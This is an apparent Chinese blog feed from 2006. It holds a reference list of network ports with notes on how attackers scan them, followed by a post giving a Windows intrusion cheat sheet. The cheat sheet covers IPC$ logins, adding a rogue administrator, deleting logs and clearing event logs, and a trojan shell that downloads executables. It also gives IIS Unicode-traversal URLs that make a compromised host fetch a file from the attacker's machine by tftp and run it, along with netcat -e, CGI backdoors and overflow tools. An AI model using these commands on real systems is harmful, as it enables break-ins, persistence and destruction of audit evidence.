covia　Communications Integrator (CI)　通讯接口　 <br />65　tacacs-ds　TACACS-Database Service　　 TACACS数据库服务 <br />66　sql*net　Oracle SQL*NET　　　　　　　　Oracle SQL*NET <br />67　bootps　Bootstrap Protocol Server　　　引导程序协议服务端 <br />68　bootpc　Bootstrap Protocol Client　　　引导程序协议客户端 <br />69　tftp　Trivial File Transfer　　　　　　小型文件传输协议 <br />70　gopher　Gopher　　　　　　　　　　　　 信息检索协议 <br />71　netrjs-1　Remote Job Service　　　　　 远程作业服务 <br />72　netrjs-2　Remote Job Service　　　　　 远程作业服务 <br />73　netrjs-3　Remote Job Service　　　　　 远程作业服务 <br />74　netrjs-4　Remote Job Service　　　　　 远程作业服务 <br />75　?　any private dial out service　　　　预留给个人拨出服务 <br />76　deos　Distributed External Object Store 分布式外部对象存储　 <br />77　?　any private RJE service　　　　　　预留给个人远程作业输入服务 <br />78　vettcp　vettcp　　　　　　　　　　　　 修正TCP? <br />79　finger　Finger　　　　　　　　　　　　 FINGER(查询远程主机在线用户等信息) <br />80　http　World Wide Web HTTP　　　　　　　全球信息网超文本传输协议 <br />81　hosts2-ns　HOSTS2 Name Server　　　　　HOST2名称服务 <br />82　xfer　XFER Utility　　　　　　　　　　 传输实用程序 <br />83　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备 <br />84　ctf　Common Trace Facility　　　　　　 公用追踪设备 <br />85　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备 <br />86　mfcobol　Micro Focus Cobol　　　　　　 Micro Focus Cobol编程语言 <br />87　?　any private terminal link　　　　　 预留给个人终端连接 <br />88　kerberos　Kerberos　　　　　　　　　　 Kerberros安全认证系统 <br />89　su-mit-tg　SU/MIT Telnet Gateway　　　 SU/MIT终端仿真网关 <br />90　dnsix　DNSIX Securit Attribute Token Map　DNSIX 安全属性标记图　 <br />91　mit-dov　MIT Dover Spooler　　　　　　 MIT Dover假脱机 <br />92　npp　Network Printing Protocol　　　　 网络打印协议 <br />93　dcp　Device Control Protocol　　　　　 设备控制协议 <br />94　objcall　Tivoli Object Dispatcher　　　Tivoli对象调度 <br />95　supdup　SUPDUP　　　　　　　　　　　　 <br />96　dixie　DIXIE Protocol Specification　　DIXIE协议规范 <br />97ft-rvfft Remote Virtural File Protocol　快速远程虚拟文件协议　 <br />98　tacnews　TAC News　　　　　　　　　　　TAC(东京大学自动计算机?)新闻协议 <br />99　metagram　Metagram Relay　　　　　　　 <br />101/tcp hostname NIC Host Name Server <br />102/tcp iso-tsap ISO-TSAP Class 0 <br />103/tcp gppitnp Genesis Point-to-Point Trans Net <br />104/tcp acr-nema ACR-NEMA Digital Imag. &amp; Comm. 300 <br />105/tcp cso CCSO name server protocol <br />105/tcp csnet-ns Mailbox Name Nameserver <br />106/tcp 3com-tsmux 3COM-TSMUX <br />107/tcp rtelnet Remote Telnet Service <br />108/tcp snagas SNA Gateway Access Server <br />109/tcp pop2 Post Office Protocol - Version 2 <br />110/tcp pop3 Post Office Protocol - Version 3 <br />111/tcp sunrpc SUN Remote Procedure Call <br />112/tcp mcidas McIDAS Data Transmission Protocol <br />113/tcp ident <br />114/tcp audionews Audio News Multicast <br />115/tcp sftp Simple File Transfer Protocol <br />116/tcp ansanotify ANSA REX Notify <br />117/tcp uucp-path UUCP Path Service <br />118/tcp sqlserv SQL Services <br />119/tcp nntp Network News Transfer Protocol <br />120/tcp cfdptkt CFDPTKT <br />121/tcp erpc Encore Expedited Remote Pro.Call <br />122/tcp smakynet SMAKYNET <br />123/tcp ntp Network Time Protocol <br />124/tcp ansatrader ANSA REX Trader <br />125/tcp locus-map Locus PC-Interface Net Map Ser <br />126/tcp unitary Unisys Unitary Login <br />127/tcp locus-con Locus PC-Interface Conn Server <br />128/tcp gss-xlicen GSS X License Verification <br />129/tcp pwdgen Password Generator Protocol <br />130/tcp cisco-fna cisco FNATIVE <br />131/tcp cisco-tna cisco TNATIVE <br />132/tcp cisco-sys cisco SYSMAINT <br />133/tcp statsrv Statistics Service <br />134/tcp ingres-net INGRES-NET Service <br />135/tcp epmap DCE endpoint resolution <br />136/tcp profile PROFILE Naming System <br />137/tcp netbios-ns NETBIOS Name Service <br />138/tcp netbios-dgm NETBIOS Datagram Service<br />139/tcp netbios-ssn NETBIOS Session Service <br />140/tcp emfis-data EMFIS Data Service <br />141/tcp emfis-cntl EMFIS Control Service <br />142/tcp bl-idm Britton-Lee IDM <br />143/tcp imap Internet Message Access Protocol <br />144/tcp uma Universal Management Architecture <br />145/tcp uaac UAAC Protocol <br />146/tcp iso-tp0 ISO-IP0 <br />147/tcp iso-ip ISO-IP <br />148/tcp jargon Jargon <br />149/tcp aed-512 AED 512 Emulation Service <br />150/tcp sql-net SQL-NET <br />151/tcp hems HEMS <br />152/tcp bftp Background File Transfer Program <br />153/tcp sgmp SGMP <br />154/tcp netsc-prod NETSC <br />155/tcp netsc-dev NETSC <br />156/tcp sqlsrv SQL Service <br />157/tcp knet-cmp KNET/VM Command/Message Protocol <br />158/tcp pcmail-srv PCMail Server <br />159/tcp nss-routing NSS-Routing <br />160/tcp sgmp-traps SGMP-TRAPS <br />161/tcp snmp SNMP <br />162/tcp snmptrap SNMPTRAP <br />163/tcp cmip-man CMIP/TCP Manager <br />164/tcp cmip-agent CMIP/TCP Agent <br />165/tcp xns-courier Xerox <br />166/tcp s-net Sirius Systems <br />167/tcp namp NAMP <br />168/tcp rsvd RSVD <br />169/tcp send SEND <br />170/tcp print-srv Network PostScript <br />171/tcp multiplex Network Innovations Multiplex <br />172/tcp cl/1 Network Innovations CL/1 <br />173/tcp xyplex-mux Xyplex <br />174/tcp mailq MAILQ <br />175/tcp vmnet VMNET <br />176/tcp genrad-mux GENRAD-MUX <br />177/tcp xdmcp X Display Manager Control Protocol <br />178/tcp nextstep NextStep Window Server <br />179/tcp bgp Border Gateway Protocol <br />180/tcp ris Intergraph <br />181/tcp unify Unify <br />182/tcp audit Unisys Audit SITP <br />183/tcp ocbinder OCBinder <br />184/tcp ocserver OCServer <br />185/tcp remote-kis Remote-KIS <br />186/tcp kis KIS Protocol <br />187/tcp aci Application Communication Interface <br />188/tcp mumps Plus Five磗 MUMPS <br />189/tcp qft Queued File Transport <br />190/tcp gacp Gateway Access Control Protocol <br />191/tcp prospero Prospero Directory Service <br />192/tcp osu-nms OSU Network Monitoring System <br />193/tcp srmp Spider Remote Monitoring Protocol <br />194/tcp irc Internet Relay Chat Protocol <br />195/tcp dn6-nlm-aud DNSIX Network Level Module Audit <br />196/tcp dn6-smm-red DNSIX Session Mgt Module Audit Redir <br />197/tcp dls Directory Location Service <br />198/tcp dls-mon Directory Location Service Monitor <br />199/tcp smux SMUX <br />200/tcp src IBM System Resource Controller <br />201/tcp at-rtmp AppleTalk Routing Maintenance <br />202/tcp at-nbp AppleTalk Name Binding <br />203/tcp at-3 AppleTalk Unused <br />204/tcp at-echo AppleTalk Echo <br />205/tcp at-5 AppleTalk Unused <br />206/tcp at-zis AppleTalk Zone Information <br />207/tcp at-7 AppleTalk Unused <br />208/tcp at-8 AppleTalk Unused <br />209/tcp qmtp The Quick Mail Transfer Protocol <br />210/tcp z39.50 ANSI Z39.50 <br />211/tcp 914c/g Texas Instruments 914C/G Terminal <br />212/tcp anet ATEXSSTR <br />214/tcp vmpwscs VM PWSCS <br />215/tcp softpc Insignia Solutions <br />216/tcp CAIlic Computer Associates Int磍 License Server <br />217/tcp dbase dBASE Unix <br />218/tcp mpp Netix Message Posting Protocol <br />219/tcp uarps Unisys ARPs <br />220/tcp imap3 Interactive Mail Access Protocol v3 <br />221/tcp fln-spx Berkeley rlogind with SPX auth <br />222/tcp rsh-spx Berkeley rshd with SPX auth <br />223/tcp cdc Certificate Distribution Center <br />242/tcp direct Direct <br />243/tcp sur-meas Survey Measurement <br />244/tcp dayna Dayna <br />245/tcp link LINK <br />246/tcp dsp3270 Display Systems Protocol <br />247/tcp subntbcst_tftp SUBNTBCST_TFTP <br />248/tcp bhfhs bhfhs <br />256/tcp rap RAP <br />257/tcp set Secure Electronic Transaction <br />258/tcp yak-chat Yak Winsock Personal Chat <br />259/tcp esro-gen Efficient Short Remote Operations <br />260/tcp openport Openport <br />263/tcp hdap HDAP <br />264/tcp bgmp BGMP <br />280/tcp http-mgmt http-mgmt <br />309/tcp entrusttime EntrustTime <br />310/tcp bhmds bhmds <br />312/tcp vslmp VSLMP <br />315/tcp dpsi DPSI <br />316/tcp decauth decAuth <br />317/tcp zannet Zannet <br />321/tcp pip PIP <br />344/tcp pdap Prospero Data Access Protocol <br />345/tcp pawserv Perf Analysis Workbench <br />346/tcp zserv Zebra server <br />347/tcp fatserv Fatmen Server <br />348/tcp csi-sgwp Cabletron Management Protocol <br />349/tcp mftp mftp <br />351/tcp matip-type-b MATIP Type B <br />351/tcp bhoetty bhoetty (added 5/21/97) <br />353/tcp ndsauth NDSAUTH <br />354/tcp bh611 bh611 <br />357/tcp bhevent bhevent <br />362/tcp srssend SRS Send <br />365/tcp dtk DTK <br />366/tcp odmr ODMR <br />368/tcp qbikgdp QbikGDP <br />371/tcp clearcase Clearcase <br />372/tcp ulistproc ListProcessor <br />373/tcp legent-1 Legent Corporation <br />374/tcp legent-2<br />0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。<br /><br />1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。 <br /><br />7 Echo 你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个机器的UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。<br /><br />11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似。再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11。<br /><br />19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。<br /><br />21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers 利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。<br /><br />22 ssh PcAnywhere 建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）。还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632（十六进制的0x1600）位交换后是0x0016（使进制的22）。<br /><br />23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术，入侵者会找到密码。<br /><br />25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。<br /><br />53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录53端口。需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。<br /><br />67&amp;68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。<br /><br />69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。<br /><br />79 finger Hacker用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。<br /><br />98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）<br /><br />109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样存在。<br /><br />110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。<br /><br />111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有：rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。<br /><br />113 Ident auth 这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST，着将回停止这一缓慢的连接。<br /><br />119 NNTP news 新闻组传输协议，承载USENET通讯。当你链接到诸如：news://comp.security.firewalls/. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。<br /><br />135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运行Exchange Server吗？是什么版本？这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。<br /><br />137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息。<br /><br />139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasic Scripting）开始将它们自己拷贝到这个端口，试图在这个端口繁殖。<br /><br />143 IMAP 和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2，但并不流行。已有一些报道发现有些0到143端口的攻击源于脚本。<br /><br />161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）查询sysName和其它信息。<br /><br />162 SNMP trap 可能是由于错误配置<br /><br />177 xdmcp 许多Hacker通过它访问X-Windows控制台， 它同时需要打开6000端口。<br /><br />513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。<br /><br />553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure call）系统。Hacker会利用这些信息进入系统。<br /><br />600 Pcserver backdoor 请查看1524端口。 <br />一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal. <br /><br />635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口。<br /><br />1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分配1024端口。请求的程序越多，动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”查看，每个Web页需要一个新端口。<br /><br />1025，1026 参见1024<br /><br />1080 SOCKS 这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。<br /><br />1114 SQL 系统本身很少扫描这个端口，但常常是sscan脚本的一部分。<br /><br /><br />1243 Sub-7木马（TCP）<br /><br />1524 ingreslock 后门许多攻击脚本将安装一个后门Shell于这个端口（尤其是那些针对Sun系统中sendmail和RPC服务漏洞的脚本，如statd, ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试Telnet到你的机器上的这个端口，看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。<br /><br />2049 NFS NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口，但是大部分情况是安装后NFS运行于这个端口，Hacker/Cracker因而可以闭开portmapper直接测试这个端口。<br /><br />3128 squid 这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口：8000/8001/8080/8888。扫描这一端口的另一原因是：用户正在进入聊天室。其它用户（或服务器本身）也会检验这个端口以确定用户的机器是否支持代理。<br /><br />5632 pcAnywere 你会看到很多这个端口的扫描，这依赖于你所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能得代理（译者：指agent而不是proxy）。Hacker/cracker也会寻找开放这种服务的机器，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。<br /><br />6776 Sub-7 artifact 这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器，而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时，他们将会看到持续的，在这个端口的连接企图。（译者：即看到防火墙报告这一端口的连接企图时，并不表示你已被Sub-7控制。）<br /><br />6970 RealAudio RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。<br /><br />13223 PowWow PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户，从另一个聊天者手中“继承”了IP地址这种情况就会发生：好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四个字节。<br /><br />17027 Conducent 这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验：阻断这一外向连接不会有任何问题，但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载： <br />机器会不断试图解析DNS名—ads.conducent.com，即IP地址216.33.210.40 ；216.33.199.77 ；216.33.199.80 ；216.33.199.81；216.33.210.41。（译者：不知NetAnts使用的Radiate是否也有这种现象） <br /><br /><br />27374 Sub-7木马(TCP) <br /><br />30100 NetSphere木马(TCP) 通常这一端口的扫描是为了寻找中了NetSphere木马。<br /><br />31337 Back Orifice “elite” Hacker中31337读做“elite”/ei’li:t/（译者：法语，译为中坚力量，精华。即3=E, 1=L, 7=T）。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少，其它的木马程序越来越流行。<br /><br />31789 Hack-a-tack 这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马（RAT, Remote Access Trojan）。这种木马包含内置的31790端口扫描器，因此任何31789端口到317890端口的连接意味着已经有这种入侵。（31789端口是控制连接，317890端口是文件传输连接） <br /><br />32770~32900 RPC服务 Sun Solaris的RPC服务在这一范围内。详细的说：早期版本的Solaris（2.5.1之前）将portmapper置于这一范围内，即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper，就是为了寻找可被攻击的已知的RPC服务。<br /><br />33434~33600 traceroute 如果你看到这一端口范围内的UDP数据包（且只在此范围之内）则可能是由于traceroute。参见本站相关部分。 </div>
														</td>
												</tr>
										</tbody>
								</table>
						</b>
				</span>
		</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20760.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-19 10:25 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网管和黑客都必须知道的命令</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 03:12:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20730.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20730.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20730.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="558" border="0">
				<tbody>
						<tr>
								<td valign="center" align="right" colspan="2" height="32">
										<div class="style7" align="center">
												<span style="FONT-SIZE: 12pt">
														<b>网管和黑客都必须知道的命令</b>
												</span>
										</div>
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" colspan="2" height="20">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" colspan="2" height="10">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" width="2%" height="10">
										<div align="left">
										</div>
								</td>
								<td valign="top" align="right" width="98%" bgcolor="#ffffff">
										<div class="daxiao14" align="left">
												<span class="main">常用的几条NET命令： <br /><br />================================================== <br /><br />（与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:"" <br /><br />（以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator" <br /><br />（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$ <br /><br />（查看远程主机时间） net time \\IP地址 <br /><br />（定时启动某个程序） at \\IP地址 02:18 readme.exe <br /><br />（查看共享） net view \\IP地址 <br /><br />（查看netbios工作组列表） nbtstat -A IP地址 <br /><br />（将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator" <br /><br />（这两条把自己增加到管理员组）： net user 用户名 密码 /add <br /><br />net localgroup Administrators 用户名 /add <br /><br />（断开连接） net use \\IP地址\ipc$ /delete <br /><br />===================================================== <br /><br />擦屁屁： <br /><br />del C:\winnt\system32\logfiles\*.* <br /><br />del C:\winnt\ssytem32\config\*.evt <br /><br />del C:\winnt\system32\dtclog\*.* <br /><br />del C:\winnt\system32\*.log <br /><br />del C:\winnt\system32\*.txt <br /><br />del C:\winnt\*.txt <br /><br />del C:\winnt\*.log <br /><br />============================ <br /><br />一、netsvc.exe <br /><br />下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务： <br /><br />netsvc /list \\IP地址 <br /><br />netsvc schedule \\IP地址 /query <br /><br />netsvc \\IP地址 schedule /start <br /><br />二、OpenTelnet.exe <br /><br />远程启动主机的Telnet服务，并绑定端口到7878，例如： <br /><br />OpenTelnet \\IP地址 用户名 密码 1 7878 <br /><br />然后就可以telnet到主机的7878端口，进入DOS方式下： <br /><br />telnet IP地址 7878 <br /><br />三、winshell.exe <br /><br />一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD&gt;后，可打下面的命令： <br /><br />p Path （查看winshell主程序的路径信息） <br /><br />b reBoot （重新启动机器） <br /><br />d shutDown （关闭机器） <br /><br />s Shell （执行后你就会看到可爱的“C:\&gt;”） <br /><br />x eXit （退出本次登录会话，此命令并不终止winshell的运行） <br /><br />CMD&gt; http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上） <br /><br />四、3389登陆器，GUI方式登录远程主机的 <br /><br />五、elsave.exe <br /><br />事件日志清除工具 <br /><br />elsave -s \\IP地址 -l "application" -C <br /><br />elsave -s \\IP地址 -l "system" -C <br /><br />elsave -s \\IP地址 -l "security" -C <br /><br />执行后成功清除应用程序日志，系统日志，安全日志 <br /><br />六、hbulot.exe <br /><br />开启win2kserver和winxp的3389服务 <br /><br />hbulot [/r] <br /><br />使用/r表示安装完成后自动重起目标使设置生效。 <br /><br />七、nc.exe(netcat.exe) <br /><br />一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。 <br /><br />想要连接到某处: nc [-options] hostname port[s] [ports] ... <br /><br />绑定端口等待连接: nc -l -p port [-options] [hostname] [port] <br /><br />参数: <br /><br />-e prog 程序重定向，一旦连接，就执行 [危险!!] <br /><br />-g gateway source-routing hop point[s], up to 8 <br /><br />-G num source-routing pointer: 4, 8, 12, ... <br /><br />-h 帮助信息 <br /><br />-i secs 延时的间隔 <br /><br />-l 监听模式，用于入站连接 <br /><br />-n 指定数字的IP地址，不能用hostname <br /><br />-o file 记录16进制的传输 <br /><br />-p port 本地端口号 <br /><br />-r 任意指定本地及远程端口 <br /><br />-s addr 本地源地址 <br /><br />-u UDP模式 <br /><br />-v 详细输出——用两个-v可得到更详细的内容 <br /><br />-w secs timeout的时间 <br /><br />-z 将输入输出关掉——用于扫描时 <br /><br />八、TFTPD32.EXE <br /><br />把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如： <br /><br />http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名 <br /><br />然后可以直接令文件运行： <br /><br />http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 <br /><br />九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。 <br /><br />一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。 <br /><br />一、一 Xscan命令行运行参数说明： <br /><br />在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"&lt;ctrl+c&gt;"强行关闭程序。 <br /><br />1.命令格式: xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] <br /><br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; 